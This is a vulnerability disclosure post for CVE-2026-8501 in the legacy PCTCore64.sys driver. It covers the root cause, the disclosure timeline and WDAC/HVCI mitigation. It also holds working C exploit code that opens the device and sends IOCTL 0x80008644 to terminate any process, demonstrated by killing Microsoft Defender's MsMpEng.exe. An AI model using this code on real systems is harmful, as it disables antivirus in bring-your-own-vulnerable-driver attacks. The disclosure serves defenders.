Post

CVE-2026-8501: Arbitrary Process Termination in PCTCore64.sys

CVE-2026-8501: Arbitrary Process Termination in PCTCore64.sys

TL;DR

PCTCore64.sys, a kernel driver shipped with the discontinued PC Tools Internet Security suite, exposes a device interface that any user-mode process can open without authentication. IOCTL 0x80008644 accepts a caller-supplied PID and terminates the corresponding process from kernel mode with no privilege check, no PID validation, and no caller verification.

The driver dates to 2008 but loads on modern Windows because it falls into the legacy signing compatibility path for pre-enforcement-era drivers.

Confirmed affected sample:

1
2
3
4
Driver     PCTCore64.sys
Version    10.0
SHA-256    C76DD87891E3E30DB2AED057E7B04C19CA264F434C21F68A7A2D9B17A97AFF39
Tested on  Windows 10 build 19045

Background

While working on the BYOVD repository, TfSysMon was one of the first vulnerable drivers I added. During the same research cycle, I also identified PCTCore64.sys, a separate PC Tools Internet Security driver affected by the same class of issue: a signed, legacy security driver exposing privileged process-control functionality to user mode without meaningful authorization. That finding was kept private for BYOVD and red team use. With CVE-2026-8501 assigned and the CERT/CC advisory now public, this post documents the vulnerability, the root cause, and the exploitation path.

PC Tools Internet Security was active during the late 2000s. Symantec acquired PC Tools in 2008 and later discontinued the standalone product line. PCTCore64.sys was the kernel component beneath the suite — a WDM/minifilter hybrid responsible for process, registry, and filesystem monitoring. The binary analyzed here is a Windows 7-era driver: signed April 2008, built against objfre_win7_amd64, and still loadable on modern Windows because it falls into the legacy signing compatibility path for pre-enforcement-era drivers.

Driver Overview

FieldValue
DriverPCTCore64.sys
ProductPC Tools Internet Security
VendorPC Tools / Symantec
Version10.0
SHA-256C76DD87891E3E30DB2AED057E7B04C19CA264F434C21F68A7A2D9B17A97AFF39
SigningAuthenticode-signed by the vendor
Device creationIoCreateDevice — no IoCreateDeviceSecure, no SDDL
DispatchIRP_MJ_CREATEsub_30370, IRP_MJ_DEVICE_CONTROLsub_158CC

Device Initialization and Access Control

DriverEntry creates the device object using IoCreateDevice and wires up the dispatch table. Notably absent is any call to IoCreateDeviceSecure or a restrictive SDDL string — the device receives the default security descriptor, which in this case permits user-mode access.

DriverEntry — IoCreateDevice call and dispatch table assignments

The IRP_MJ_CREATE handler (sub_30370) applies no authorization policy. It acquires the device remove-lock, increments an internal reference counter via _InterlockedAdd, sets IoStatus.Status to STATUS_SUCCESS, and completes the request. There is no token inspection, no privilege requirement, and no process identity check of any kind.

sub_30370 — IRP_MJ_CREATE handler

Any process on the system that can resolve \\.\PCTCoreDriver can open a handle and send IOCTLs.

Vulnerable IOCTL: 0x80008644

The IRP_MJ_DEVICE_CONTROL handler is sub_158CC. Inside the IOCTL dispatch, code 0x80008644 routes to a process-termination path. The handler validates that the input buffer is at least 0x10 bytes, reads the target PID at offset +0x00 and an exit code at offset +0x08, then calls sub_1D3F8.

sub_158CC — IOCTL dispatch, case 0x80008644

There is no PID validation, no caller privilege check, no protected-process guard, and no process allowlist. The caller-supplied PID is passed directly into the privileged kill path.

Root Cause: Validation Was Never in the Kernel

sub_1D3F8 initializes a kernel event, queues sub_1D468 as a DelayedWorkQueue work item, then immediately calls KeWaitForSingleObject to block until the work item completes. The IOCTL is effectively synchronous end-to-end: DeviceIoControl does not return until the process has been opened and the termination attempt has been made.

The work item callback, sub_1D468, is where the design flaw is visible. Before calling ZwTerminateProcess, it evaluates a global function pointer, qword_2E6B0:

sub_1D468 — qword_2E6B0 null check and ZwTerminateProcess fall-through

In the original product design, the PC Tools user-mode service would register this pointer through a configuration IOCTL at startup. With the hook installed, process termination decisions were routed through product-specific policy logic registered by the user-mode service. Without it, the check evaluates to NULL and the code falls through directly to ZwTerminateProcess.

In a BYOVD context, the user-mode service is never running. The driver loads in isolation, qword_2E6B0 remains at its BSS-initialized value of NULL, and every termination request dispatched through IOCTL 0x80008644 reaches ZwTerminateProcess unconditionally.

This is the structural failure shared by many legacy AV kernel components: dangerous primitives are implemented in the kernel driver, while the authorization logic is delegated to a user-mode engine that registers its policy at runtime. Reuse the driver without the engine and the enforcement disappears entirely, leaving the primitive fully exposed.

Exploitation

Exploitation requires three steps: open the device, build the request buffer, and send the IOCTL.

1. Open the device

1
2
3
4
5
HANDLE drv = CreateFileW(
    L"\\\\.\\PCTCoreDriver",
    GENERIC_READ | GENERIC_WRITE,
    0, NULL, OPEN_EXISTING, 0, NULL
);

The device ACL is permissive. No elevation is required to open the handle.

2. Build the request

1
2
3
BYTE req[0x10] = {0};
*(ULONG_PTR *)&req[0x00] = target_pid;   // +0x00: target PID
*(DWORD      *)&req[0x08] = 0;           // +0x08: exit code

The driver enforces a minimum input buffer size of 0x10 bytes. The PID is read from offset +0x00; the exit code from +0x08. Bytes +0x0C through +0x0F are padding and unused by the driver.

3. Send the IOCTL

1
2
3
4
5
6
7
DWORD bytes_returned = 0;
DeviceIoControl(
    drv, 0x80008644,
    req, sizeof(req),
    NULL, 0,
    &bytes_returned, NULL
);

The IOCTL is synchronous end-to-end. sub_1D3F8 blocks on KeWaitForSingleObject until sub_1D468 signals the completion event, so by the time DeviceIoControl returns, the termination attempt has already been made.

Demonstration

The following run targets MsMpEng.exe on Windows 10 build 19045:

PCTcore64-Killer — MsMpEng.exe terminated via IOCTL 0x80008644

Full PoC source: github.com/BlackSnufkin/BYOVD/tree/main/PCTcore64-Killer

Disclosure Timeline

DateEvent
2026-03-26Reported to CERT/CC
2026-06-01CERT/CC advisory VU#158530 published
2026-06-01CVE-2026-8501 assigned
2026-06-01Vendor acknowledged the product is discontinued; no patch will be issued

Because the affected software is end-of-life, there is no vendor patch path. Mitigation is at the platform level: add the driver hash to the WDAC block list and enable HVCI where possible.

References

This post is licensed under CC BY 4.0 by the author.